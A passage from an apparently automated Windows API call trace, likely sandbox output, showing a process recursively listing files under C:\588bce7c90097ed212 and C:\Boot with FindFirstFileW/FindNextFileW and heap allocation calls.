dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.658] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.658] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e40 [0110.658] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.658] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.659] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.659] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.659] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b40 [0110.659] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.659] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.659] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.659] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.659] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.659] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.660] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.660] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.660] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0110.692] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.692] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.693] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.693] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.693] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.693] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.693] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.693] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.693] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.694] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0110.694] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.694] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.694] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.694] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.694] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.694] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.694] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.694] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0110.695] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e40 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.715] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.716] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.716] FindClose (in: hFindFile=0x4250e40 | out: hFindFile=0x4250e40) returned 1 [0110.718] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0110.718] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.719] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.719] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.719] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.719] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.719] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.719] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.723] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.723] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.723] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.723] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.723] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.724] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.724] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.724] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.724] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.724] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.724] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.725] FindNextFileW (in: hFindFile=0x4250c40, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0110.725] FindClose (in: hFindFile=0x4250c40 | out: hFindFile=0x4250c40) returned 1 [0110.728] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0110.728] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0110.729] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4251058 [0110.729] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x4250cc0 [0110.729] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.730] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.731] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.731] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.731] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.731] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.731] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.731] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f40 [0110.775] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.775] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.775] FindNextFileW (in: hFindFile=0x4250f40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.775] FindClose (in: hFindFile=0x4250f40 | out: hFindFile=0x4250f40) returned 1 [0110.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.776] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.776] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250880 [0110.788] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x4250880, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.788] FindClose (in: hFindFile=0x4250880 | out: hFindFile=0x4250880) returned 1 [0110.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.788] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.789] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250d40 [0110.790] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.790] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.790] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.790] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.790] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0110.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.791] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.791] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250e00 [0110.791] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.791] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.791] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.791] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.791] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0110.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.791] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.791] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250dc0 [0110.794] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.794] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0110.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.794] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.794] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.795] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250fc0 [0110.796] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.796] FindClose (in: hFindFile=0x4250fc0 | out: hFindFile=0x4250fc0) returned 1 [0110.796] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.796] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.796] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250b40 [0110.796] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.796] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.797] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0110.797] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.797] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.797] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.797] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250900 [0110.838] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.838] FindClose (in: hFindFile=0x4250900 | out: hFindFile=0x4250900) returned 1 [0110.838] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.838] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.838] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.838] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x42509c0 [0110.839] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.839] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x42509c0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.840] FindClose (in: hFindFile=0x42509c0 | out: hFindFile=0x42509c0) returned 1 [0110.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.840] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.840] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0110.840] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.840] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.840] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.841] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.841] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250f00 [0110.842] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.842] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.842] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.842] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0110.842] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0110.843] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0110.843] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0110.843] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0110.843] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250fc0 [0110.961] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.968] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.968] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.968] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.968] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.969] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0110.970] FindNextFileW (in: hFindFile=0x4250fc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.033] FindClose (in: hFindFile=0x4250fc0 | out: hFindFile=0x4250fc0) returned 1 [0111.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.034] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.034] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.034] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250c80 [0111.078] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.078] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.078] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.078] FindClose (in: hFindFile=0x4250c80 | out: hFindFile=0x4250c80) returned 1 [0111.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.078] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.078] FindFirstFileW (in: 